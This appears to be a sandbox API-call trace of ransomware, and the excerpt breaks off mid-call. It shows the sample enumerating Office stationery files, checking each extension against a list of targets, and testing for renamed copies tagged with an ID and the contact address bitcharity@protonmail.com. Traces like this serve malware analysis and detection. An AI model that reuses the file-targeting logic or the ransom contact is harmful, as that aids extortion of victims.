[0143.634] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.634] lstrlenW (lpString=".docx") returned 5 [0143.634] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0143.634] lstrlenW (lpString=".pdf") returned 4 [0143.634] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString=".xls") returned 4 [0143.634] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString=".xlsx") returned 5 [0143.634] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0143.634] lstrlenW (lpString=".ppt") returned 4 [0143.634] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.634] lstrlenW (lpString=".zip") returned 4 [0143.634] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString=".rar") returned 4 [0143.634] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString=".bz2") returned 4 [0143.635] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.635] lstrlenW (lpString=".7z") returned 3 [0143.635] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.635] lstrlenW (lpString=".dbf") returned 4 [0143.635] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.635] lstrlenW (lpString=".1cd") returned 4 [0143.635] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.635] lstrlenW (lpString=".jpg") returned 4 [0143.635] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.635] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0143.635] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0143.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.650] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=237) returned 1 [0143.650] CloseHandle (hObject=0x1038) returned 1 [0143.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0143.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.651] lstrlenW (lpString=".doc") returned 4 [0143.651] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.651] lstrlenW (lpString=".docx") returned 5 [0143.651] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.651] lstrlenW (lpString=".pdf") returned 4 [0143.651] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.651] lstrlenW (lpString=".xls") returned 4 [0143.651] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.651] lstrlenW (lpString=".xlsx") returned 5 [0143.651] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.651] lstrlenW (lpString=".ppt") returned 4 [0143.651] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.651] lstrlenW (lpString=".zip") returned 4 [0143.651] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.651] lstrlenW (lpString=".rar") returned 4 [0143.651] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.651] lstrlenW (lpString=".bz2") returned 4 [0143.651] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.651] lstrlenW (lpString=".7z") returned 3 [0143.651] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.652] lstrlenW (lpString=".dbf") returned 4 [0143.652] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.652] lstrlenW (lpString=".1cd") returned 4 [0143.652] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.652] lstrlenW (lpString=".jpg") returned 4 [0143.652] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.653] lstrlenW (lpString=".doc") returned 4 [0143.653] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.653] lstrlenW (lpString=".docx") returned 5 [0143.653] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.653] lstrlenW (lpString=".pdf") returned 4 [0143.653] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.653] lstrlenW (lpString=".xls") returned 4 [0143.653] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.653] lstrlenW (lpString=".xlsx") returned 5 [0143.653] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.653] lstrlenW (lpString=".ppt") returned 4 [0143.653] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.653] lstrlenW (lpString=".zip") returned 4 [0143.653] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.653] lstrlenW (lpString=".rar") returned 4 [0143.653] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.653] lstrlenW (lpString=".bz2") returned 4 [0143.653] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.653] lstrlenW (lpString=".7z") returned 3 [0143.653] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.653] lstrlenW (lpString=".dbf") returned 4 [0143.653] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.653] lstrlenW (lpString=".1cd") returned 4 [0143.653] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0143.654] lstrlenW (lpString=".jpg") returned 4 [0143.654] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.654] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0143.654] lstrlenW (lpString="Hand Prints.htm") returned 15 [0143.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.863] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=235) returned 1 [0143.863] CloseHandle (hObject=0x1038) returned 1 [0143.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0143.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.863] lstrlenW (lpString=".doc") returned 4 [0143.863] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.863] lstrlenW (lpString=".docx") returned 5 [0143.863] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.863] lstrlenW (lpString=".pdf") returned 4 [0143.863] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.863] lstrlenW (lpString=".xls") returned 4 [0143.863] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.863] lstrlenW (lpString=".xlsx") returned 5 [0143.863] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.863] lstrlenW (lpString=".ppt") returned 4 [0143.864] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".zip") returned 4 [0143.864] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString=".rar") returned 4 [0143.864] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString=".bz2") returned 4 [0143.864] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.864] lstrlenW (lpString=".7z") returned 3 [0143.864] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".dbf") returned 4 [0143.864] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".1cd") returned 4 [0143.864] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".jpg") returned 4 [0143.864] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".doc") returned 4 [0143.864] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.864] lstrlenW (lpString=".docx") returned 5 [0143.864] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.864] lstrlenW (lpString=".pdf") returned 4 [0143.864] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString=".xls") returned 4 [0143.864] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString=".xlsx") returned 5 [0143.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.864] lstrlenW (lpString=".ppt") returned 4 [0143.864] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.864] lstrlenW (lpString=".zip") returned 4 [0143.865] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.865] lstrlenW (lpString=".rar") returned 4 [0143.865] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.865] lstrlenW (lpString=".bz2") returned 4 [0143.865] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.865] lstrlenW (lpString=".7z") returned 3 [0143.865] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.865] lstrlenW (lpString=".dbf") returned 4 [0143.865] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.865] lstrlenW (lpString=".1cd") returned 4 [0143.865] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0143.865] lstrlenW (lpString=".jpg") returned 4 [0143.865] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.865] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0143.865] lstrlenW (lpString="Orange Circles.htm") returned 18 [0143.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0144.120] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=237) returned 1 [0144.120] CloseHandle (hObject=0x10c8) returned 1 [0144.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0144.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.124] lstrlenW (lpString=".doc") returned 4 [0144.124] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.124] lstrlenW (lpString=".docx") returned 5 [0144.124] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.124] lstrlenW (lpString=".pdf") returned 4 [0144.124] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.124] lstrlenW (lpString=".xls") returned 4 [0144.124] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.124] lstrlenW (lpString=".xlsx") returned 5 [0144.124] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.124] lstrlenW (lpString=".ppt") returned 4 [0144.124] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".zip") returned 4 [0144.125] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString=".rar") returned 4 [0144.125] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString=".bz2") returned 4 [0144.125] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.125] lstrlenW (lpString=".7z") returned 3 [0144.125] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".dbf") returned 4 [0144.125] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".1cd") returned 4 [0144.125] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".jpg") returned 4 [0144.125] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".doc") returned 4 [0144.125] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.125] lstrlenW (lpString=".docx") returned 5 [0144.125] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.125] lstrlenW (lpString=".pdf") returned 4 [0144.125] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString=".xls") returned 4 [0144.125] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString=".xlsx") returned 5 [0144.125] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.125] lstrlenW (lpString=".ppt") returned 4 [0144.125] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.125] lstrlenW (lpString=".zip") returned 4 [0144.126] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.126] lstrlenW (lpString=".rar") returned 4 [0144.126] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.126] lstrlenW (lpString=".bz2") returned 4 [0144.126] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.126] lstrlenW (lpString=".7z") returned 3 [0144.126] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.126] lstrlenW (lpString=".dbf") returned 4 [0144.126] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.126] lstrlenW (lpString=".1cd") returned 4 [0144.126] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm") returned 76 [0144.126] lstrlenW (lpString=".jpg") returned 4 [0144.126] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.126] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0144.126] lstrlenW (lpString="Roses.htm") returned 9 [0144.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0144.299] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=233) returned 1 [0144.299] CloseHandle (hObject=0x103c) returned 1 [0144.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0144.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.300] lstrlenW (lpString=".doc") returned 4 [0144.300] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.300] lstrlenW (lpString=".docx") returned 5 [0144.300] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.300] lstrlenW (lpString=".pdf") returned 4 [0144.300] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.300] lstrlenW (lpString=".xls") returned 4 [0144.300] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.300] lstrlenW (lpString=".xlsx") returned 5 [0144.300] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.300] lstrlenW (lpString=".ppt") returned 4 [0144.300] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.300] lstrlenW (lpString=".zip") returned 4 [0144.300] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.300] lstrlenW (lpString=".rar") returned 4 [0144.300] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.301] lstrlenW (lpString=".bz2") returned 4 [0144.301] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.301] lstrlenW (lpString=".7z") returned 3 [0144.301] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString=".dbf") returned 4 [0144.301] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString=".1cd") returned 4 [0144.301] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString=".jpg") returned 4 [0144.301] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString=".doc") returned 4 [0144.301] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0144.301] lstrlenW (lpString=".docx") returned 5 [0144.301] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0144.301] lstrlenW (lpString=".pdf") returned 4 [0144.301] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0144.301] lstrlenW (lpString=".xls") returned 4 [0144.301] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0144.301] lstrlenW (lpString=".xlsx") returned 5 [0144.301] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0144.301] lstrlenW (lpString=".ppt") returned 4 [0144.301] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0144.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.301] lstrlenW (lpString=".zip") returned 4 [0144.301] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0144.302] lstrlenW (lpString=".rar") returned 4 [0144.302] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0144.302] lstrlenW (lpString=".bz2") returned 4 [0144.302] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0144.302] lstrlenW (lpString=".7z") returned 3 [0144.302] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.302] lstrlenW (lpString=".dbf") returned 4 [0144.302] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.302] lstrlenW (lpString=".1cd") returned 4 [0144.302] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0144.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67 [0144.302] lstrlenW (lpString=".jpg") returned 4 [0144.302] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0144.302] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0144.302] lstrlenW (lpString="Soft Blue.htm") returned 13 [0144.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0144.428] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=232) returned 1 [0144.428] CloseHandle (hObject=0x1084) returned 1 [0144.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0144.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0144.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0144.428] lstrlenW 